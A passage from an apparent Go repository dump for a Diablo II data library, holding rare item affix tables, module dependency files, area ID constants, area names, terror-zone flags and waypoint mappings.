Act 5 Baal Temple Down L 82 -70 -110 95 115 5 2 1 4 1 2 0 l 86 90 | Act 5 Baal Temple Down R 82 -20 -110 80 115 2 5 4 1 1 2 0 r 87 91 | -------------------------------------------------------------------------------- /cmd/txttocode/txt/rareprefix.txt: -------------------------------------------------------------------------------- 1 | name version itype1 itype2 itype3 itype4 itype5 itype6 itype7 etype1 etype2 etype3 etype4 2 | Beast 0 armo weap misc 3 | Eagle 0 armo weap misc 4 | Raven 0 armo weap misc 5 | Viper 0 armo weap misc 6 | Ghoul 0 armo weap misc 7 | Skull 0 armo weap misc 8 | Blood 0 armo weap misc 9 | Dread 0 armo weap misc 10 | Doom 0 armo weap misc 11 | Grim 0 armo weap misc 12 | Bone 0 armo weap misc 13 | Death 0 armo weap misc 14 | Shadow 0 armo weap misc 15 | Storm 0 armo weap misc 16 | Rune 0 armo weap misc 17 | Plague 0 armo weap misc 18 | Stone 0 armo weap misc 19 | Wraith 0 armo weap misc 20 | Spirit 0 armo rod 21 | Storm 0 armo weap 22 | Demon 0 armo weap 23 | Cruel 0 armo weap 24 | Empyrion 0 rod 25 | Bramble 0 armo weap 26 | Pain 0 armo weap 27 | Loath 0 armo weap 28 | Glyph 0 armo weap 29 | Imp 0 armo weap 30 | Fiend 0 armo weap 31 | Hailstone 0 armo weap 32 | Gale 0 armo weap 33 | Dire 0 armo weap 34 | Soul 0 armo weap 35 | Brimstone 0 armo weap 36 | Corpse 0 armo weap 37 | Carrion 0 armo weap 38 | Holocaust 0 tors helm shld swor axe 39 | Havoc 0 armo weap misc 40 | Bitter 0 armo weap misc 41 | Entropy 0 ring amul 42 | Chaos 0 ring amul 43 | Order 0 ring amul scep 44 | Rule 0 rod 45 | Warp 0 46 | Rift 0 47 | Corruption 0 ring amul 48 | -------------------------------------------------------------------------------- /cmd/txttocode/txt/raresuffix.txt: -------------------------------------------------------------------------------- 1 | name version itype1 itype2 itype3 itype4 itype5 itype6 itype7 etype1 etype2 etype3 etype4 2 | Bite 0 swor knif spea pole axe h2h 3 | Scratch 0 swor knif spea pole h2h 4 | Scalpel 0 swor knif 5 | Fang 0 swor knif spea pole 6 | Gutter 0 swor knif spea pole 7 | Thirst 0 swor knif spea pole axe h2h 8 | Razor 0 swor knif axe h2h 9 | Scythe 0 swor axe pole 10 | Edge 0 swor knif axe 11 | Saw 0 swor 12 | Splitter 0 axe mace club hamm 13 | Cleaver 0 swor axe 14 | Sever 0 swor axe 15 | Sunder 0 axe 16 | Rend 0 axe 17 | Mangler 0 axe mace club hamm 18 | Slayer 0 axe 19 | Reaver 0 axe 20 | Spawn 0 axe hamm 21 | Gnash 0 axe club hamm 22 | Star 0 mace hamm scep wand 23 | Blow 0 mace club hamm scep 24 | Smasher 0 mace club hamm scep 25 | Bane 0 mace scep wand 26 | Crusher 0 mace club hamm scep 27 | Breaker 0 mace club hamm scep 28 | Grinder 0 mace club hamm scep 29 | Crack 0 mace club hamm scep wand 30 | Mallet 0 hamm club 31 | Knell 0 mace club scep wand 32 | Lance 0 spea pole 33 | Spike 0 swor knif spea pole 34 | Impaler 0 swor knif spea pole 35 | Skewer 0 swor knif spea 36 | Prod 0 spea pole 37 | Scourge 0 spea pole 38 | Wand 0 wand 39 | Wrack 0 spea pole 40 | Barb 0 swor knif axe spea pole h2h 41 | Needle 0 swor knif spea miss 42 | Dart 0 spea miss 43 | Bolt 0 miss jave 44 | Quarrel 0 miss 45 | Fletch 0 miss 46 | Flight 0 miss jave 47 | Nock 0 miss 48 | Horn 0 helm miss knif 49 | Stinger 0 swor knif spea miss 50 | Quill 0 knif miss 51 | Goad 0 spea pole staf 52 | Branch 0 spea staf bow 53 | Spire 0 staf 54 | Song 0 weap 55 | Call 0 rod 56 | Cry 0 rod 57 | Spell 0 rod 58 | Chant 0 rod 59 | Weaver 0 rod 60 | Gnarl 0 club wand staf 61 | Visage 0 helm 62 | Crest 0 helm 63 | Circlet 0 helm 64 | Veil 0 helm 65 | Hood 0 helm 66 | Mask 0 helm 67 | Brow 0 helm 68 | Casque 0 helm 69 | Visor 0 helm 70 | Cowl 0 helm 71 | Hide 0 tors 72 | Pelt 0 tors 73 | Carapace 0 tors 74 | Coat 0 tors 75 | Wrap 0 tors 76 | Suit 0 tors 77 | Cloak 0 tors 78 | Shroud 0 tors 79 | Jack 0 tors 80 | Mantle 0 tors 81 | Guard 0 shld 82 | Badge 0 shld 83 | Rock 0 shld 84 | Aegis 0 shld 85 | Ward 0 shld 86 | Tower 0 shld 87 | Shield 0 shld 88 | Wing 0 shld amul 89 | Mark 0 shld amul 90 | Emblem 0 shld amul 91 | Hand 0 glov 92 | Fist 0 glov h2h 93 | Claw 0 glov h2h 94 | Clutches 0 glov 95 | Grip 0 glov ring 96 | Grasp 0 glov ring 97 | Hold 0 glov ring 98 | Touch 0 glov ring 99 | Finger 0 glov ring 100 | Knuckle 0 glov 101 | Shank 0 boot 102 | Spur 0 boot 103 | Tread 0 boot 104 | Stalker 0 boot 105 | Greave 0 boot 106 | Blazer 0 boot 107 | Nails 0 boot spea pole 108 | Trample 0 boot 109 | Brogues 0 boot 110 | Track 0 boot 111 | Slippers 0 boot 112 | Clasp 0 belt amul 113 | Buckle 0 belt 114 | Harness 0 belt 115 | Lock 0 belt 116 | Fringe 0 belt 117 | Winding 0 belt 118 | Chain 0 belt 119 | Strap 0 belt 120 | Lash 0 belt 121 | Cord 0 belt 122 | Knot 0 ring 123 | Circle 0 ring 124 | Loop 0 ring 125 | Eye 0 misc 126 | Turn 0 ring 127 | Spiral 0 ring 128 | Coil 0 ring 129 | Gyre 0 ring orb jewl 130 | Band 0 ring 131 | Whorl 0 ring orb jewl 132 | Talisman 0 amul jewl 133 | Heart 0 amul orb jewl 134 | Noose 0 amul 135 | Necklace 0 amul 136 | Collar 0 amul 137 | Beads 0 amul 138 | Torc 0 amul 139 | Gorget 0 amul 140 | Scarab 0 amul jewl 141 | Wood 0 spea pole wand staf 142 | Brand 0 blun 143 | Bludgeon 0 blun 144 | Cudgel 0 club wand 145 | Loom 0 miss 146 | Harp 0 miss 147 | Master 0 ring 148 | Bar 0 blun spea pole 149 | Hew 0 swor knif axe 150 | Crook 0 staf 151 | Mar 0 swor knif mace club hamm spea 152 | Shell 0 tors helm shld 153 | Stake 0 spea pole 154 | Picket 0 spea pole 155 | Pale 0 spea pole 156 | Flange 0 tors mace hamm scep -------------------------------------------------------------------------------- /go.mod: -------------------------------------------------------------------------------- 1 | module github.com/notedhouse/d2go 2 | 3 | go 1.22 4 | 5 | require ( 6 | github.com/expr-lang/expr v1.16.9 7 | github.com/gopxl/beep v1.4.1 8 | github.com/stretchr/testify v1.9.0 9 | golang.org/x/sys v0.24.0 10 | ) 11 | 12 | require ( 13 | github.com/davecgh/go-spew v1.1.1 // indirect 14 | github.com/ebitengine/oto/v3 v3.1.0 // indirect 15 | github.com/ebitengine/purego v0.7.1 // indirect 16 | github.com/pkg/errors v0.9.1 // indirect 17 | github.com/pmezard/go-difflib v1.0.0 // indirect 18 | gopkg.in/yaml.v3 v3.0.1 // indirect 19 | ) 20 | -------------------------------------------------------------------------------- /go.sum: -------------------------------------------------------------------------------- 1 | github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= 2 | github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= 3 | github.com/ebitengine/oto/v3 v3.1.0 h1:9tChG6rizyeR2w3vsygTTTVVJ9QMMyu00m2yBOCch6U= 4 | github.com/ebitengine/oto/v3 v3.1.0/go.mod h1:IK1QTnlfZK2GIB6ziyECm433hAdTaPpOsGMLhEyEGTg= 5 | github.com/ebitengine/purego v0.7.1 h1:6/55d26lG3o9VCZX8lping+bZcmShseiqlh2bnUDiPA= 6 | github.com/ebitengine/purego v0.7.1/go.mod h1:ah1In8AOtksoNK6yk5z1HTJeUkC1Ez4Wk2idgGslMwQ= 7 | github.com/expr-lang/expr v1.16.9 h1:WUAzmR0JNI9JCiF0/ewwHB1gmcGw5wW7nWt8gc6PpCI= 8 | github.com/expr-lang/expr v1.16.9/go.mod h1:8/vRC7+7HBzESEqt5kKpYXxrxkr31SaO8r40VO/1IT4= 9 | github.com/gopxl/beep v1.4.1 h1:WqNs9RsDAhG9M3khMyc1FaVY50dTdxG/6S6a3qsUHqE= 10 | github.com/gopxl/beep v1.4.1/go.mod h1:A1dmiUkuY8kxsvcNJNUBIEcchmiP6eUyCHSxpXl0YO0= 11 | github.com/orcaman/writerseeker v0.0.0-20200621085525-1d3f536ff85e h1:s2RNOM/IGdY0Y6qfTeUKhDawdHDpK9RGBdx80qN4Ttw= 12 | github.com/orcaman/writerseeker v0.0.0-20200621085525-1d3f536ff85e/go.mod h1:nBdnFKj15wFbf94Rwfq4m30eAcyY9V/IyKAGQFtqkW0= 13 | github.com/pkg/errors v0.9.1 h1:FEBLx1zS214owpjy7qsBeixbURkuhQAwrK5UwLGTwt4= 14 | github.com/pkg/errors v0.9.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0= 15 | github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= 16 | github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= 17 | github.com/stretchr/testify v1.9.0 h1:HtqpIVDClZ4nwg75+f6Lvsy/wHu+3BoSGCbBAcpTsTg= 18 | github.com/stretchr/testify v1.9.0/go.mod h1:r2ic/lqez/lEtzL7wO/rwa5dbSLXVDPFyf8C91i36aY= 19 | golang.org/x/sys v0.24.0 h1:Twjiwq9dn6R1fQcyiK+wQyHWfaz/BJB+YIpzU/Cv3Xg= 20 | golang.org/x/sys v0.24.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA= 21 | gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405 h1:yhCVgyC4o1eVCa2tZl7eS0r+SDo693bJlVdllGtEeKM= 22 | gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= 23 | gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= 24 | gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= 25 | -------------------------------------------------------------------------------- /pkg/data/area/area.go: -------------------------------------------------------------------------------- 1 | package area 2 | 3 | type ID int 4 | 5 | type Area struct { 6 | ID 7 | Name string 8 | } 9 | 10 | func (a ID) IsTown() bool { 11 | switch a { 12 | case RogueEncampment, LutGholein, KurastDocks, ThePandemoniumFortress, Harrogath: 13 | return true 14 | } 15 | 16 | return false 17 | } 18 | 19 | func (a ID) CanBeTerrorized() bool { 20 | _, canBeTerrorized := CanBeTerrorized[a] 21 | 22 | return canBeTerrorized 23 | } 24 | 25 | func (a ID) Act() int { 26 | if a < 40 { 27 | return 1 28 | } 29 | if a >= 40 && a < 75 { 30 | return 2 31 | } 32 | if a >= 75 && a < 103 { 33 | return 3 34 | } 35 | if a >= 103 && a < 109 { 36 | return 4 37 | } 38 | 39 | return 5 40 | } 41 | 42 | func (a ID) Area() Area { 43 | return Areas[a] 44 | } 45 | 46 | const ( 47 | Abaddon ID = 125 48 | AncientTunnels ID = 65 49 | ArcaneSanctuary ID = 74 50 | ArreatPlateau ID = 112 51 | ArreatSummit ID = 120 52 | Barracks ID = 28 53 | BlackMarsh ID = 6 54 | BloodMoor ID = 2 55 | BloodyFoothills ID = 110 56 | BurialGrounds ID = 17 57 | CanyonOfTheMagi ID = 46 58 | CatacombsLevel1 ID = 34 59 | CatacombsLevel2 ID = 35 60 | CatacombsLevel3 ID = 36 61 | CatacombsLevel4 ID = 37 62 | Cathedral ID = 33 63 | CaveLevel1 ID = 9 64 | CaveLevel2 ID = 13 65 | ChaosSanctuary ID = 108 66 | CityOfTheDamned ID = 106 67 | ClawViperTempleLevel1 ID = 58 68 | ClawViperTempleLevel2 ID = 61 69 | ColdPlains ID = 3 70 | Crypt ID = 18 71 | CrystallinePassage ID = 113 72 | DarkWood ID = 5 73 | DenOfEvil ID = 8 74 | DisusedFane ID = 95 75 | DisusedReliquary ID = 99 76 | DrifterCavern ID = 116 77 | DryHills ID = 42 78 | DuranceOfHateLevel1 ID = 100 79 | DuranceOfHateLevel2 ID = 101 80 | DuranceOfHateLevel3 ID = 102 81 | DurielsLair ID = 73 82 | FarOasis ID = 43 83 | FlayerDungeonLevel1 ID = 88 84 | FlayerDungeonLevel2 ID = 89 85 | FlayerDungeonLevel3 ID = 91 86 | FlayerJungle ID = 78 87 | ForgottenReliquary ID = 96 88 | ForgottenSands ID = 134 89 | ForgottenTemple ID = 97 90 | ForgottenTower ID = 20 91 | FrigidHighlands ID = 111 92 | FrozenRiver ID = 114 93 | FrozenTundra ID = 117 94 | FurnaceOfPain ID = 135 95 | GlacialTrail ID = 115 96 | GreatMarsh ID = 77 97 | HallsOfAnguish ID = 122 98 | HallsOfPain ID = 123 99 | HallsOfTheDeadLevel1 ID = 56 100 | HallsOfTheDeadLevel2 ID = 57 101 | HallsOfTheDeadLevel3 ID = 60 102 | HallsOfVaught ID = 124 103 | HaremLevel1 ID = 50 104 | HaremLevel2 ID = 51 105 | Harrogath ID = 109 106 | HoleLevel1 ID = 11 107 | HoleLevel2 ID = 15 108 | IcyCellar ID = 119 109 | InfernalPit ID = 127 110 | InnerCloister ID = 32 111 | JailLevel1 ID = 29 112 | JailLevel2 ID = 30 113 | JailLevel3 ID = 31 114 | KurastBazaar ID = 80 115 | KurastCauseway ID = 82 116 | KurastDocks ID = 75 117 | LostCity ID = 44 118 | LowerKurast ID = 79 119 | LutGholein ID = 40 120 | MaggotLairLevel1 ID = 62 121 | MaggotLairLevel2 ID = 63 122 | MaggotLairLevel3 ID = 64 123 | MatronsDen ID = 133 124 | Mausoleum ID = 19 125 | MonasteryGate ID = 26 126 | MooMooFarm ID = 39 127 | NihlathaksTemple ID = 121 128 | None ID = 0 129 | OuterCloister ID = 27 130 | OuterSteppes ID = 104 131 | PalaceCellarLevel1 ID = 52 132 | PalaceCellarLevel2 ID = 53 133 | PalaceCellarLevel3 ID = 54 134 | PitLevel1 ID = 12 135 | PitLevel2 ID = 16 136 | PitOfAcheron ID = 126 137 | PlainsOfDespair ID = 105 138 | RiverOfFlame ID = 107 139 | RockyWaste ID = 41 140 | RogueEncampment ID = 1 141 | RuinedFane ID = 98 142 | RuinedTemple ID = 94 143 | SewersLevel1Act2 ID = 47 144 | SewersLevel1Act3 ID = 92 145 | SewersLevel2Act2 ID = 48 146 | SewersLevel2Act3 ID = 93 147 | SewersLevel3Act2 ID = 49 148 | SpiderCave ID = 84 149 | SpiderCavern ID = 85 150 | SpiderForest ID = 76 151 | StonyField ID = 4 152 | StonyTombLevel1 ID = 55 153 | StonyTombLevel2 ID = 59 154 | SwampyPitLevel1 ID = 86 155 | SwampyPitLevel2 ID = 87 156 | SwampyPitLevel3 ID = 90 157 | TalRashasTomb1 ID = 66 158 | TalRashasTomb2 ID = 67 159 | TalRashasTomb3 ID = 68 160 | TalRashasTomb4 ID = 69 161 | TalRashasTomb5 ID = 70 162 | TalRashasTomb6 ID = 71 163 | TalRashasTomb7 ID = 72 164 | TamoeHighland ID = 7 165 | TheAncientsWay ID = 118 166 | ThePandemoniumFortress ID = 103 167 | TheWorldstoneChamber ID = 132 168 | TheWorldStoneKeepLevel1 ID = 128 169 | TheWorldStoneKeepLevel2 ID = 129 170 | TheWorldStoneKeepLevel3 ID = 130 171 | ThroneOfDestruction ID = 131 172 | TowerCellarLevel1 ID = 21 173 | TowerCellarLevel2 ID = 22 174 | TowerCellarLevel3 ID = 23 175 | TowerCellarLevel4 ID = 24 176 | TowerCellarLevel5 ID = 25 177 | Travincal ID = 83 178 | Tristram ID = 38 179 | UberTristram ID = 136 180 | UndergroundPassageLevel1 ID = 10 181 | UndergroundPassageLevel2 ID = 14 182 | UpperKurast ID = 81 183 | ValleyOfSnakes ID = 45 184 | MapsAncientTemple ID = 137 185 | MapsDesecratedTemple ID = 138 186 | MapsFrigidPlateau ID = 139 187 | MapsInfernalTrial ID = 140 188 | MapsRuinedCitadel ID = 141 189 | ) 190 | -------------------------------------------------------------------------------- /pkg/data/area/areas.go: -------------------------------------------------------------------------------- 1 | // Code generated by cmd/txttocode. DO NOT EDIT. 2 | // source: cmd/txttocode/txt/levels.txt 3 | package area 4 | 5 | var Areas = map[ID]Area{ 6 | 0: {Name: "", ID: 0}, 7 | 1: {Name: "Rogue Encampment", ID: 1}, 8 | 2: {Name: "Blood Moor", ID: 2}, 9 | 3: {Name: "Cold Plains", ID: 3}, 10 | 4: {Name: "Stony Field", ID: 4}, 11 | 5: {Name: "Dark Wood", ID: 5}, 12 | 6: {Name: "Black Marsh", ID: 6}, 13 | 7: {Name: "Tamoe Highland", ID: 7}, 14 | 8: {Name: "Den of Evil", ID: 8}, 15 | 9: {Name: "Cave Level 1", ID: 9}, 16 | 10: {Name: "Underground Passage Level 1", ID: 10}, 17 | 11: {Name: "Hole Level 1", ID: 11}, 18 | 12: {Name: "Pit Level 1", ID: 12}, 19 | 13: {Name: "Cave Level 2", ID: 13}, 20 | 14: {Name: "Underground Passage Level 2", ID: 14}, 21 | 15: {Name: "Hole Level 2", ID: 15}, 22 | 16: {Name: "Pit Level 2", ID: 16}, 23 | 17: {Name: "Burial Grounds", ID: 17}, 24 | 18: {Name: "Crypt", ID: 18}, 25 | 19: {Name: "Mausoleum", ID: 19}, 26 | 20: {Name: "Forgotten Tower", ID: 20}, 27 | 21: {Name: "Tower Cellar Level 1", ID: 21}, 28 | 22: {Name: "Tower Cellar Level 2", ID: 22}, 29 | 23: {Name: "Tower Cellar Level 3", ID: 23}, 30 | 24: {Name: "Tower Cellar Level 4", ID: 24}, 31 | 25: {Name: "Tower Cellar Level 5", ID: 25}, 32 | 26: {Name: "Monastery Gate", ID: 26}, 33 | 27: {Name: "Outer Cloister", ID: 27}, 34 | 28: {Name: "Barracks", ID: 28}, 35 | 29: {Name: "Jail Level 1", ID: 29}, 36 | 30: {Name: "Jail Level 2", ID: 30}, 37 | 31: {Name: "Jail Level 3", ID: 31}, 38 | 32: {Name: "Inner Cloister", ID: 32}, 39 | 33: {Name: "Cathedral", ID: 33}, 40 | 34: {Name: "Catacombs Level 1", ID: 34}, 41 | 35: {Name: "Catacombs Level 2", ID: 35}, 42 | 36: {Name: "Catacombs Level 3", ID: 36}, 43 | 37: {Name: "Catacombs Level 4", ID: 37}, 44 | 38: {Name: "Tristram", ID: 38}, 45 | 39: {Name: "Moo Moo Farm", ID: 39}, 46 | 40: {Name: "Lut Gholein", ID: 40}, 47 | 41: {Name: "Rocky Waste", ID: 41}, 48 | 42: {Name: "Dry Hills", ID: 42}, 49 | 43: {Name: "Far Oasis", ID: 43}, 50 | 44: {Name: "Lost City", ID: 44}, 51 | 45: {Name: "Valley of Snakes", ID: 45}, 52 | 46: {Name: "Canyon of the Magi", ID: 46}, 53 | 47: {Name: "Sewers Level 1", ID: 47}, 54 | 48: {Name: "Sewers Level 2", ID: 48}, 55 | 49: {Name: "Sewers Level 3", ID: 49}, 56 | 50: {Name: "Harem Level 1", ID: 50}, 57 | 51: {Name: "Harem Level 2", ID: 51}, 58 | 52: {Name: "Palace Cellar Level 1", ID: 52}, 59 | 53: {Name: "Palace Cellar Level 2", ID: 53}, 60 | 54: {Name: "Palace Cellar Level 3", ID: 54}, 61 | 55: {Name: "Stony Tomb Level 1", ID: 55}, 62 | 56: {Name: "Halls of the Dead Level 1", ID: 56}, 63 | 57: {Name: "Halls of the Dead Level 2", ID: 57}, 64 | 58: {Name: "Claw Viper Temple Level 1", ID: 58}, 65 | 59: {Name: "Stony Tomb Level 2", ID: 59}, 66 | 60: {Name: "Halls of the Dead Level 3", ID: 60}, 67 | 61: {Name: "Claw Viper Temple Level 2", ID: 61}, 68 | 62: {Name: "Maggot Lair Level 1", ID: 62}, 69 | 63: {Name: "Maggot Lair Level 2", ID: 63}, 70 | 64: {Name: "Maggot Lair Level 3", ID: 64}, 71 | 65: {Name: "Ancient Tunnels", ID: 65}, 72 | 66: {Name: "Tal Rasha's Tomb", ID: 66}, 73 | 67: {Name: "Tal Rasha's Tomb", ID: 67}, 74 | 68: {Name: "Tal Rasha's Tomb", ID: 68}, 75 | 69: {Name: "Tal Rasha's Tomb", ID: 69}, 76 | 70: {Name: "Tal Rasha's Tomb", ID: 70}, 77 | 71: {Name: "Tal Rasha's Tomb", ID: 71}, 78 | 72: {Name: "Tal Rasha's Tomb", ID: 72}, 79 | 73: {Name: "Duriel's Lair", ID: 73}, 80 | 74: {Name: "Arcane Sanctuary", ID: 74}, 81 | 75: {Name: "Kurast Docktown", ID: 75}, 82 | 76: {Name: "Spider Forest", ID: 76}, 83 | 77: {Name: "Great Marsh", ID: 77}, 84 | 78: {Name: "Flayer Jungle", ID: 78}, 85 | 79: {Name: "Lower Kurast", ID: 79}, 86 | 80: {Name: "Kurast Bazaar", ID: 80}, 87 | 81: {Name: "Upper Kurast", ID: 81}, 88 | 82: {Name: "Kurast Causeway", ID: 82}, 89 | 83: {Name: "Travincal", ID: 83}, 90 | 84: {Name: "Spider Cave", ID: 84}, 91 | 85: {Name: "Spider Cavern", ID: 85}, 92 | 86: {Name: "Swampy Pit Level 1", ID: 86}, 93 | 87: {Name: "Swampy Pit Level 2", ID: 87}, 94 | 88: {Name: "Flayer Dungeon Level 1", ID: 88}, 95 | 89: {Name: "Flayer Dungeon Level 2", ID: 89}, 96 | 90: {Name: "Swampy Pit Level 3", ID: 90}, 97 | 91: {Name: "Flayer Dungeon Level 3", ID: 91}, 98 | 92: {Name: "Sewers Level 1", ID: 92}, 99 | 93: {Name: "Sewers Level 2", ID: 93}, 100 | 94: {Name: "Ruined Temple", ID: 94}, 101 | 95: {Name: "Disused Fane", ID: 95}, 102 | 96: {Name: "Forgotten Reliquary", ID: 96}, 103 | 97: {Name: "Forgotten Temple", ID: 97}, 104 | 98: {Name: "Ruined Fane", ID: 98}, 105 | 99: {Name: "Disused Reliquary", ID: 99}, 106 | 100: {Name: "Durance of Hate Level 1", ID: 100}, 107 | 101: {Name: "Durance of Hate Level 2", ID: 101}, 108 | 102: {Name: "Durance of Hate Level 3", ID: 102}, 109 | 103: {Name: "The Pandemonium Fortress", ID: 103}, 110 | 104: {Name: "Outer Steppes", ID: 104}, 111 | 105: {Name: "Plains of Despair", ID: 105}, 112 | 106: {Name: "City of the Damned", ID: 106}, 113 | 107: {Name: "River of Flame", ID: 107}, 114 | 108: {Name: "Chaos Sanctum", ID: 108}, 115 | 109: {Name: "Harrogath", ID: 109}, 116 | 110: {Name: "Bloody Foothills", ID: 110}, 117 | 111: {Name: "Rigid Highlands", ID: 111}, 118 | 112: {Name: "Arreat Plateau", ID: 112}, 119 | 113: {Name: "Crystalized Cavern Level 1", ID: 113}, 120 | 114: {Name: "Cellar of Pity", ID: 114}, 121 | 115: {Name: "Crystalized Cavern Level 2", ID: 115}, 122 | 116: {Name: "Echo Chamber", ID: 116}, 123 | 117: {Name: "Tundra Wastelands", ID: 117}, 124 | 118: {Name: "Glacial Caves Level 1", ID: 118}, 125 | 119: {Name: "Glacial Caves Level 2", ID: 119}, 126 | 120: {Name: "Rocky Summit", ID: 120}, 127 | 121: {Name: "Nihlathaks Temple", ID: 121}, 128 | 122: {Name: "Halls of Anguish", ID: 122}, 129 | 123: {Name: "Halls of Death's Calling", ID: 123}, 130 | 124: {Name: "Halls of Vaught", ID: 124}, 131 | 125: {Name: "Hell1", ID: 125}, 132 | 126: {Name: "Hell2", ID: 126}, 133 | 127: {Name: "Hell3", ID: 127}, 134 | 128: {Name: "The Worldstone Keep Level 1", ID: 128}, 135 | 129: {Name: "The Worldstone Keep Level 2", ID: 129}, 136 | 130: {Name: "The Worldstone Keep Level 3", ID: 130}, 137 | 131: {Name: "Throne of Destruction", ID: 131}, 138 | 132: {Name: "The Worldstone Chamber", ID: 132}, 139 | 133: {Name: "Pandemonium Run 1", ID: 133}, 140 | 134: {Name: "Pandemonium Run 2", ID: 134}, 141 | 135: {Name: "Pandemonium Run 3", ID: 135}, 142 | 136: {Name: "Tristram", ID: 136}, 143 | } 144 | -------------------------------------------------------------------------------- /pkg/data/area/terrorzone.go: -------------------------------------------------------------------------------- 1 | package area 2 | 3 | var CanBeTerrorized = map[ID]bool{ 4 | BloodMoor: true, 5 | DenOfEvil: true, 6 | ColdPlains: true, 7 | CaveLevel1: true, 8 | PitLevel1: true, 9 | BurialGrounds: true, 10 | Crypt: true, 11 | Mausoleum: true, 12 | StonyField: true, 13 | DarkWood: true, 14 | UndergroundPassageLevel1: true, 15 | UndergroundPassageLevel2: true, 16 | BlackMarsh: true, 17 | HoleLevel1: true, 18 | HoleLevel2: true, 19 | ForgottenTower: true, 20 | Barracks: true, 21 | JailLevel1: true, 22 | JailLevel2: true, 23 | JailLevel3: true, 24 | InnerCloister: true, 25 | Cathedral: true, 26 | CatacombsLevel1: true, 27 | CatacombsLevel2: true, 28 | CatacombsLevel3: true, 29 | CatacombsLevel4: true, 30 | Tristram: true, 31 | MooMooFarm: true, 32 | RockyWaste: true, 33 | SewersLevel1Act2: true, 34 | SewersLevel2Act2: true, 35 | SewersLevel3Act2: true, 36 | DryHills: true, 37 | HallsOfTheDeadLevel1: true, 38 | HallsOfTheDeadLevel2: true, 39 | HallsOfTheDeadLevel3: true, 40 | FarOasis: true, 41 | LostCity: true, 42 | ValleyOfSnakes: true, 43 | ClawViperTempleLevel1: true, 44 | ClawViperTempleLevel2: true, 45 | AncientTunnels: true, 46 | TalRashasTomb1: true, 47 | TalRashasTomb2: true, 48 | TalRashasTomb3: true, 49 | TalRashasTomb4: true, 50 | TalRashasTomb5: true, 51 | TalRashasTomb6: true, 52 | TalRashasTomb7: true, 53 | ArcaneSanctuary: true, 54 | SpiderForest: true, 55 | SpiderCavern: true, 56 | Travincal: true, 57 | GreatMarsh: true, 58 | FlayerJungle: true, 59 | FlayerDungeonLevel1: true, 60 | FlayerDungeonLevel2: true, 61 | FlayerDungeonLevel3: true, 62 | KurastBazaar: true, 63 | RuinedTemple: true, 64 | DisusedFane: true, 65 | DuranceOfHateLevel1: true, 66 | DuranceOfHateLevel2: true, 67 | DuranceOfHateLevel3: true, 68 | OuterSteppes: true, 69 | PlainsOfDespair: true, 70 | CityOfTheDamned: true, 71 | RiverOfFlame: true, 72 | ChaosSanctuary: true, 73 | BloodyFoothills: true, 74 | FrigidHighlands: true, 75 | Abaddon: true, 76 | GlacialTrail: true, 77 | DrifterCavern: true, 78 | CrystallinePassage: true, 79 | FrozenRiver: true, 80 | ArreatPlateau: true, 81 | PitOfAcheron: true, 82 | TheAncientsWay: true, 83 | IcyCellar: true, 84 | NihlathaksTemple: true, 85 | TheWorldStoneKeepLevel1: true, 86 | TheWorldStoneKeepLevel2: true, 87 | TheWorldStoneKeepLevel3: true, 88 | ThroneOfDestruction: true, 89 | } 90 | -------------------------------------------------------------------------------- /pkg/data/area/waypoint.go: -------------------------------------------------------------------------------- 1 | package area 2 | 3 | // WPAddresses represents the addresses of the waypoints in the game UI and the linked areas between them 4 | var WPAddresses = map[ID]WPAddress{ 5 | // Act 1 6 | RogueEncampment: {1, 1, nil}, 7 | ColdPlains: {1, 2, []ID{RogueEncampment, BloodMoor}}, 8 | StonyField: {1, 3, []ID{ColdPlains}}, 9 | DarkWood: {1, 4, []ID{StonyField, UndergroundPassageLevel1}}, 10 | BlackMarsh: {1, 5, []ID{DarkWood}}, 11 | OuterCloister: {1, 6, []ID{BlackMarsh, TamoeHighland, MonasteryGate}}, 12 | JailLevel1: {1, 7, []ID{OuterCloister, Barracks}}, 13 | InnerCloister: {1, 8, []ID{JailLevel1, JailLevel2, JailLevel3}}, 14 | CatacombsLevel2: {1, 9, []ID{InnerCloister, Cathedral, CatacombsLevel1}}, 15 | // Act 2 16 | LutGholein: {2, 1, nil}, 17 | SewersLevel2Act2: {2, 2, []ID{LutGholein, SewersLevel1Act2}}, 18 | DryHills: {2, 3, []ID{LutGholein, RockyWaste}}, 19 | HallsOfTheDeadLevel2: {2, 4, []ID{DryHills, HallsOfTheDeadLevel1}}, 20 | FarOasis: {2, 5, []ID{DryHills}}, 21 | LostCity: {2, 6, []ID{FarOasis}}, 22 | PalaceCellarLevel1: {2, 7, []ID{LutGholein, HaremLevel1, HaremLevel2}}, 23 | ArcaneSanctuary: {2, 8, []ID{PalaceCellarLevel1, PalaceCellarLevel2, PalaceCellarLevel3}}, 24 | CanyonOfTheMagi: {2, 9, []ID{ArcaneSanctuary}}, 25 | // Act 3 26 | KurastDocks: {3, 1, nil}, 27 | SpiderForest: {3, 2, []ID{KurastDocks}}, 28 | GreatMarsh: {3, 3, []ID{SpiderForest}}, 29 | FlayerJungle: {3, 4, []ID{GreatMarsh}}, 30 | LowerKurast: {3, 5, []ID{FlayerJungle}}, 31 | KurastBazaar: {3, 6, []ID{LowerKurast}}, 32 | UpperKurast: {3, 7, []ID{KurastBazaar}}, 33 | Travincal: {3, 8, []ID{UpperKurast, KurastCauseway}}, 34 | DuranceOfHateLevel2: {3, 9, []ID{Travincal, DuranceOfHateLevel1}}, 35 | // Act 4 36 | ThePandemoniumFortress: {4, 1, nil}, 37 | CityOfTheDamned: {4, 2, []ID{ThePandemoniumFortress, OuterSteppes, PlainsOfDespair}}, 38 